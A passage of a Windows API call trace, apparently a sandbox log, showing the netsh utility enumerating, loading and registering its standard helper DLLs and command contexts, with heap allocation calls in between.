lpcbData=0x14708f7978) returned 0x0 [0128.604] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5 [0128.604] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5 [0128.604] GetProcessHeap () returned 0x11aa58a0000 [0128.604] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x208) returned 0x11aa58d0eb0 [0128.605] GetProcessHeap () returned 0x11aa58a0000 [0128.605] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe) returned 0x11aa58d0b90 [0128.605] GetProcessHeap () returned 0x11aa58a0000 [0128.605] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x16) returned 0x11aa58d0870 [0128.605] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL" [0128.605] GetProcessHeap () returned 0x11aa58a0000 [0128.605] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c52a0) returned 1 [0128.605] LoadLibraryExW (lpLibFileName="NSHWFP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca7530000 [0128.627] GetProcAddress (hModule=0x7ffca7530000, lpProcName="InitHelperDll") returned 0x7ffca75310d0 [0128.627] InitHelperDll () returned 0x0 [0128.628] RegisterHelper () returned 0x0 [0128.628] GetProcessHeap () returned 0x11aa58a0000 [0128.628] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xb00) returned 0x11aa58ea620 [0128.628] GetProcessHeap () returned 0x11aa58a0000 [0128.628] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e8b10) returned 1 [0128.628] RegEnumValueW (in: hKey=0xb4, dwIndex=0xc, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="p2pnetsh", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.628] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7 [0128.628] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7 [0128.628] GetProcessHeap () returned 0x11aa58a0000 [0128.628] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x230) returned 0x11aa58d10c0 [0128.628] GetProcessHeap () returned 0x11aa58a0000 [0128.628] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x12) returned 0x11aa58d0b30 [0128.628] GetProcessHeap () returned 0x11aa58a0000 [0128.628] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1a) returned 0x11aa58e86d0 [0128.628] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL" [0128.628] GetProcessHeap () returned 0x11aa58a0000 [0128.629] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d0eb0) returned 1 [0128.629] LoadLibraryExW (lpLibFileName="P2PNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca7980000 [0128.667] GetProcAddress (hModule=0x7ffca7980000, lpProcName="InitHelperDll") returned 0x7ffca79811e0 [0128.667] InitHelperDll () returned 0x0 [0128.667] RegisterHelper () returned 0x0 [0128.667] GetProcessHeap () returned 0x11aa58a0000 [0128.667] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xb58) returned 0x11aa58e88c0 [0128.667] GetProcessHeap () returned 0x11aa58a0000 [0128.667] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ea620) returned 1 [0128.667] RegisterHelper () returned 0x0 [0128.667] GetProcessHeap () returned 0x11aa58a0000 [0128.667] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xbb0) returned 0x11aa58ee150 [0128.667] GetProcessHeap () returned 0x11aa58a0000 [0128.667] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e88c0) returned 1 [0128.667] RegisterHelper () returned 0x0 [0128.667] GetProcessHeap () returned 0x11aa58a0000 [0128.667] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc08) returned 0x11aa58e88c0 [0128.667] GetProcessHeap () returned 0x11aa58a0000 [0128.667] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ee150) returned 1 [0128.667] RegisterHelper () returned 0x0 [0128.667] GetProcessHeap () returned 0x11aa58a0000 [0128.667] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc60) returned 0x11aa58ee150 [0128.667] GetProcessHeap () returned 0x11aa58a0000 [0128.667] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e88c0) returned 1 [0128.672] RegisterHelper () returned 0x0 [0128.672] GetProcessHeap () returned 0x11aa58a0000 [0128.672] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xcb8) returned 0x11aa58e88c0 [0128.672] GetProcessHeap () returned 0x11aa58a0000 [0128.672] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ee150) returned 1 [0128.672] RegisterHelper () returned 0x0 [0128.672] GetProcessHeap () returned 0x11aa58a0000 [0128.672] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xd10) returned 0x11aa58ee150 [0128.672] GetProcessHeap () returned 0x11aa58a0000 [0128.672] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e88c0) returned 1 [0128.672] RegisterHelper () returned 0x0 [0128.672] GetProcessHeap () returned 0x11aa58a0000 [0128.672] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xd68) returned 0x11aa58eee70 [0128.672] GetProcessHeap () returned 0x11aa58a0000 [0128.673] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ee150) returned 1 [0128.674] RegisterHelper () returned 0x0 [0128.674] GetProcessHeap () returned 0x11aa58a0000 [0128.674] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xdc0) returned 0x11aa58efbe0 [0128.674] GetProcessHeap () returned 0x11aa58a0000 [0128.674] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58eee70) returned 1 [0128.675] RegEnumValueW (in: hKey=0xb4, dwIndex=0xd, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="rpc", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.675] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9 [0128.675] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9 [0128.675] GetProcessHeap () returned 0x11aa58a0000 [0128.675] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x258) returned 0x11aa58f09b0 [0128.675] GetProcessHeap () returned 0x11aa58a0000 [0128.675] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58ade60 [0128.675] GetProcessHeap () returned 0x11aa58a0000 [0128.675] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x16) returned 0x11aa58d0bf0 [0128.675] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL" [0128.675] GetProcessHeap () returned 0x11aa58a0000 [0128.675] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d10c0) returned 1 [0128.675] LoadLibraryExW (lpLibFileName="RPCNSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6570000 [0128.681] GetProcAddress (hModule=0x7ffcb6570000, lpProcName="InitHelperDll") returned 0x7ffcb6571010 [0128.682] InitHelperDll () returned 0x0 [0128.682] RegisterHelper () returned 0x0 [0128.682] GetProcessHeap () returned 0x11aa58a0000 [0128.682] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe18) returned 0x11aa58ee150 [0128.682] GetProcessHeap () returned 0x11aa58a0000 [0128.682] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58efbe0) returned 1 [0128.682] RegisterHelper () returned 0x0 [0128.682] GetProcessHeap () returned 0x11aa58a0000 [0128.682] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe70) returned 0x11aa58eef70 [0128.682] GetProcessHeap () returned 0x11aa58a0000 [0128.682] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ee150) returned 1 [0128.682] RegEnumValueW (in: hKey=0xb4, dwIndex=0xe, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="WcnNetsh", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.682] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14 [0128.682] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14 [0128.682] GetProcessHeap () returned 0x11aa58a0000 [0128.682] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x280) returned 0x11aa58f0c10 [0128.682] GetProcessHeap () returned 0x11aa58a0000 [0128.682] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x12) returned 0x11aa58d0910 [0128.682] GetProcessHeap () returned 0x11aa58a0000 [0128.682] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1a) returned 0x11aa58e8160 [0128.682] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL" [0128.682] GetProcessHeap () returned 0x11aa58a0000 [0128.682] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f09b0) returned 1 [0128.682] LoadLibraryExW (lpLibFileName="WCNNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb5a70000 [0128.695] GetProcAddress (hModule=0x7ffcb5a70000, lpProcName="InitHelperDll") returned 0x7ffcb5a71680 [0128.695] InitHelperDll () returned 0x0 [0128.695] RegisterHelper () returned 0x0 [0128.695] GetProcessHeap () returned 0x11aa58a0000 [0128.695] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xec8) returned 0x11aa58f0ea0 [0128.696] GetProcessHeap () returned 0x11aa58a0000 [0128.696] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58eef70) returned 1 [0128.696] RegEnumValueW (in: hKey=0xb4, dwIndex=0xf, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="whhelper", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.696] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14 [0128.696] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14 [0128.696] GetProcessHeap () returned 0x11aa58a0000 [0128.696] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x2a8) returned 0x11aa58ea620 [0128.696] GetProcessHeap () returned 0x11aa58a0000 [0128.696] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x12) returned 0x11aa58d0c30 [0128.696] GetProcessHeap () returned 0x11aa58a0000 [0128.696] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1a) returned 0x11aa58e8730 [0128.696] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL" [0128.696] GetProcessHeap () returned 0x11aa58a0000 [0128.696] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f0c10) returned 1 [0128.696] LoadLibraryExW (lpLibFileName="WHHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6420000 [0128.705] GetProcAddress (hModule=0x7ffcb6420000, lpProcName="InitHelperDll") returned 0x7ffcb64214d0 [0128.705] InitHelperDll () returned 0x0 [0128.705] RegisterHelper () returned 0x0 [0128.705] GetProcessHeap () returned 0x11aa58a0000 [0128.705] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xf20) returned 0x11aa58ef160 [0128.705] GetProcessHeap () returned 0x11aa58a0000 [0128.706] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f0ea0) returned 1 [0128.706] RegEnumValueW (in: hKey=0xb4, dwIndex=0x10, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="wlancfg", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.706] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14 [0128.706] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14 [0128.706] GetProcessHeap () returned 0x11aa58a0000 [0128.706] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x2d0) returned 0x11aa58ea8d0 [0128.706] GetProcessHeap () returned 0x11aa58a0000 [0128.706] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58d0c70 [0128.706] GetProcessHeap () returned 0x11aa58a0000 [0128.706] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58d0c90 [0128.706] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL" [0128.706] GetProcessHeap () returned 0x11aa58a0000 [0128.706] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ea620) returned 1 [0128.706] LoadLibraryExW (lpLibFileName="WLANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca41c0000 [0129.154] GetProcAddress (hModule=0x7ffca41c0000, lpProcName="InitHelperDll") returned 0x7ffca41c1320 [0129.154] InitHelperDll () returned 0x0 [0129.154] RegisterHelper () returned 0x0 [0129.154] GetProcessHeap () returned 0x11aa58a0000 [0129.154] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xf78) returned 0x11aa58f20a0 [0129.155] GetProcessHeap () returned 0x11aa58a0000 [0129.155] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef160) returned 1 [0129.155] RegEnumValueW (in: hKey=0xb4, dwIndex=0x11, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="wshelper", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0129.155] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14 [0129.155] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14 [0129.155] GetProcessHeap () returned 0x11aa58a0000 [0129.155] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x2f8) returned 0x11aa58e90d0 [0129.155] GetProcessHeap () returned 0x11aa58a0000 [0129.155] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x12) returned 0x11aa58d0cf0 [0129.155] GetProcessHeap () returned 0x11aa58a0000 [0129.155] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1a) returned 0x11aa58e8af0 [0129.155] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL" [0129.155] GetProcessHeap () returned 0x11aa58a0000 [0129.155] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ea8d0) returned 1 [0129.155] LoadLibraryExW (lpLibFileName="WSHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6390000 [0129.231] GetProcAddress (hModule=0x7ffcb6390000, lpProcName="InitHelperDll") returned 0x7ffcb6391030 [0129.231] InitHelperDll () returned 0x0 [0129.231] RegisterHelper () returned 0x0 [0129.231] GetProcessHeap () returned 0x11aa58a0000 [0129.231] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xfd0) returned 0x11aa58f3020 [0129.232] GetProcessHeap () returned 0x11aa58a0000 [0129.232] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f20a0) returned 1 [0129.232] RegEnumValueW (in: hKey=0xb4, dwIndex=0x12, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="wwancfg", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0129.232] _wcsicmp (_String1="wwancfg.dll", _String2="ipxmontr.dll") returned 14 [0129.232] _wcsicmp (_String1="wwancfg.dll", _String2="ipxpromn.dll") returned 14 [0129.232] GetProcessHeap () returned 0x11aa58a0000 [0129.232] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x320) returned 0x11aa58ea620 [0129.232] GetProcessHeap () returned 0x11aa58a0000 [0129.232] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58d0d70 [0129.232] GetProcessHeap () returned 0x11aa58a0000 [0129.232] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58d0dd0 [0129.232] _wcsupr (in: _String="wwancfg.dll" | out: _String="WWANCFG.DLL") returned="WWANCFG.DLL" [0129.232] GetProcessHeap () returned 0x11aa58a0000 [0129.232] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e90d0) returned 1 [0129.232] LoadLibraryExW (lpLibFileName="WWANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcaaab0000 [0129.480] GetProcAddress (hModule=0x7ffcaaab0000, lpProcName="InitHelperDll") returned 0x7ffcaaab11d0 [0129.480] InitHelperDll () returned 0x0 [0129.480] RegisterHelper () returned 0x0 [0129.480] GetProcessHeap () returned 0x11aa58a0000 [0129.480] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1028) returned 0x11aa58f5010 [0129.480] GetProcessHeap () returned 0x11aa58a0000 [0129.480] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3020) returned 1 [0129.480] RegEnumValueW (in: hKey=0xb4, dwIndex=0x13, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="peerdistsh", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0129.480] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxmontr.dll") returned 7 [0129.480] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxpromn.dll") returned 7 [0129.480] GetProcessHeap () returned 0x11aa58a0000 [0129.480] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x348) returned 0x11aa58ead60 [0129.480] GetProcessHeap () returned 0x11aa58a0000 [0129.480] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x16) returned 0x11aa58ef6d0 [0129.480] GetProcessHeap () returned 0x11aa58a0000 [0129.480] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1e) returned 0x11aa58e8d00 [0129.480] _wcsupr (in: _String="peerdistsh.dll" | out: _String="PEERDISTSH.DLL") returned="PEERDISTSH.DLL" [0129.480] GetProcessHeap () returned 0x11aa58a0000 [0129.480] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ea620) returned 1 [0129.480] LoadLibraryExW (lpLibFileName="PEERDISTSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca3e90000 [0129.922] GetProcAddress (hModule=0x7ffca3e90000, lpProcName="InitHelperDll") returned 0x7ffca3e91220 [0129.922] InitHelperDll () returned 0x0 [0129.923] RegisterHelper () returned 0x0 [0129.923] GetProcessHeap () returned 0x11aa58a0000 [0129.923] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1080) returned 0x11aa58f20a0 [0129.923] GetProcessHeap () returned 0x11aa58a0000 [0129.923] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f5010) returned 1 [0129.923] RegisterHelper () returned 0x0 [0129.923] GetProcessHeap () returned 0x11aa58a0000 [0129.923] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10d8) returned 0x11aa58f5010 [0129.923] GetProcessHeap () returned 0x11aa58a0000 [0129.923] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f20a0) returned 1 [0129.923] RegCloseKey (hKey=0xb4) returned 0x0 [0129.923] GetProcessHeap () returned 0x11aa58a0000 [0129.923] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b1240) returned 1 [0129.923] GetProcessHeap () returned 0x11aa58a0000 [0129.923] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ab880) returned 1 [0129.925] GetProcessHeap () returned 0x11aa58a0000 [0129.925] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58eb0b0 [0129.925] GetProcessHeap () returned 0x11aa58a0000 [0129.925] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0129.925] RegisterContext () returned 0x0 [0129.925] GetProcessHeap () returned 0x11aa58a0000 [0129.925] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58d17a0 [0129.925] GetProcessHeap () returned 0x11aa58a0000 [0129.925] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0129.925] RegisterContext () returned 0x0 [0129.947] _wcsicmp (_String1="ras", _String2="interface") returned 9 [0129.947] _wcsicmp (_String1="ras", _String2="interface") returned 9 [0129.947] GetProcessHeap () returned 0x11aa58a0000 [0129.947] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe0) returned 0x11aa58a47e0 [0129.947] GetProcessHeap () returned 0x11aa58a0000 [0129.947] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d17a0) returned 1 [0129.986] RegisterContext () returned 0x0 [0129.987] GetProcessHeap () returned 0x11aa58a0000 [0129.987] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58a2830 [0129.987] GetProcessHeap () returned 0x11aa58a0000 [0129.987] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0129.987] RegisterContext () returned 0x0 [0129.987] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0129.987] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0129.987] GetProcessHeap () returned 0x11aa58a0000 [0129.987] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe0) returned 0x11aa58ea850 [0129.988] GetProcessHeap () returned 0x11aa58a0000 [0129.988] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a2830) returned 1 [0129.994] RegisterContext () returned 0x0 [0129.995] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0129.995] _wcsicmp (_String1="aaaa", _String2="ipv6") returned -8 [0129.995] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0129.995] GetProcessHeap () returned 0x11aa58a0000 [0129.995] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x150) returned 0x11aa58fc0a0 [0129.995] GetProcessHeap () returned 0x11aa58a0000 [0129.995] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ea850) returned 1 [0129.996] RegisterContext () returned 0x0 [0129.996] _wcsicmp (_String1="diagnostics", _String2="aaaa") returned 3 [0129.996] _wcsicmp (_String1="diagnostics", _String2="ip") returned -5 [0129.996] _wcsicmp (_String1="diagnostics", _String2="ipv6") returned -5 [0129.996] _wcsicmp (_String1="diagnostics", _String2="aaaa") returned 3 [0129.996] _wcsicmp (_String1="diagnostics", _String2="ip") returned -5 [0129.996] GetProcessHeap () returned 0x11aa58a0000 [0129.996] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1c0) returned 0x11aa58fc200 [0129.996] GetProcessHeap () returned 0x11aa58a0000 [0129.996] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fc0a0) returned 1 [0129.996] RegisterContext () returned 0x0 [0129.996] _wcsicmp (_String1="advfirewall", _String2="interface") returned -8 [0129.997] _wcsicmp (_String1="advfirewall", _String2="ras") returned -17 [0129.997] _wcsicmp (_String1="advfirewall", _String2="interface") returned -8 [0129.997] GetProcessHeap () returned 0x11aa58a0000 [0129.997] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x150) returned 0x11aa58fc0a0 [0129.997] GetProcessHeap () returned 0x11aa58a0000 [0129.997] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a47e0) returned 1 [0129.997] RegisterContext () returned 0x0 [0129.997] GetProcessHeap () returned 0x11aa58a0000 [0129.997] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58a2830 [0129.997] GetProcessHeap () returned 0x11aa58a0000 [0129.997] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0129.997] RegisterContext () returned 0x0 [0129.997] _wcsicmp (_String1="firewall", _String2="consec") returned 3 [0129.997] _wcsicmp (_String1="firewall", _String2="consec") returned 3 [0129.997] GetProcessHeap () returned 0x11aa58a0000 [0129.997] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe0) returned 0x11aa58a47e0 [0129.997] GetProcessHeap () returned 0x11aa58a0000 [0129.997] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a2830) returned 1 [0129.997] RegisterContext () returned 0x0 [0129.997] _wcsicmp (_String1="monitor", _String2="consec") returned 10 [0129.997] _wcsicmp (_String1="monitor", _String2="firewall") returned 7 [0129.997] _wcsicmp (_String1="monitor", _String2="consec") returned 10 [0129.997] _wcsicmp (_String1="monitor", _String2="firewall") returned 7 [0129.997] GetProcessHeap () returned 0x11aa58a0000 [0129.997] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x150) returned 0x11aa58fc3d0 [0129.997] GetProcessHeap () returned 0x11aa58a0000 [0129.997] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a47e0) returned 1 [0129.998] RegisterContext () returned 0x0 [0129.998] _wcsicmp (_String1="mainmode", _String2="consec") returned 10 [0129.998] _wcsicmp (_String1="mainmode", _String2="firewall") returned 7 [0129.998] _wcsicmp (_String1="mainmode", _String2="monitor") returned -14 [0129.998] _wcsicmp (_String1="mainmode", _String2="consec") returned 10 [0129.998] _wcsicmp (_String1="mainmode", _String2="firewall") returned 7 [0129.998] _wcsicmp (_String1="mainmode", _String2="monitor") returned -14 [0129.998] GetProcessHeap () returned 0x11aa58a0000 [0129.998] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1c0) returned 0x11aa58fc530 [0129.998] GetProcessHeap () returned 0x11aa58a0000 [0129.998] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fc3d0) returned 1 [0129.998] RegisterContext () returned 0x0 [0129.998] _wcsicmp (_String1="dhcpclient", _String2="advfirewall") returned 3 [0129.998] _wcsicmp (_String1="dhcpclient", _String2="interface") returned -5 [0129.998] _wcsicmp (_String1="dhcpclient", _String2="ras") returned -14 [0129.998] _wcsicmp (_String1="dhcpclient", _String2="advfirewall") returned 3 [0129.998] _wcsicmp (_String1="dhcpclient", _String2="interface") returned -5 [0129.998] GetProcessHeap () returned 0x11aa58a0000 [0129.998] RtlAllocateHeap 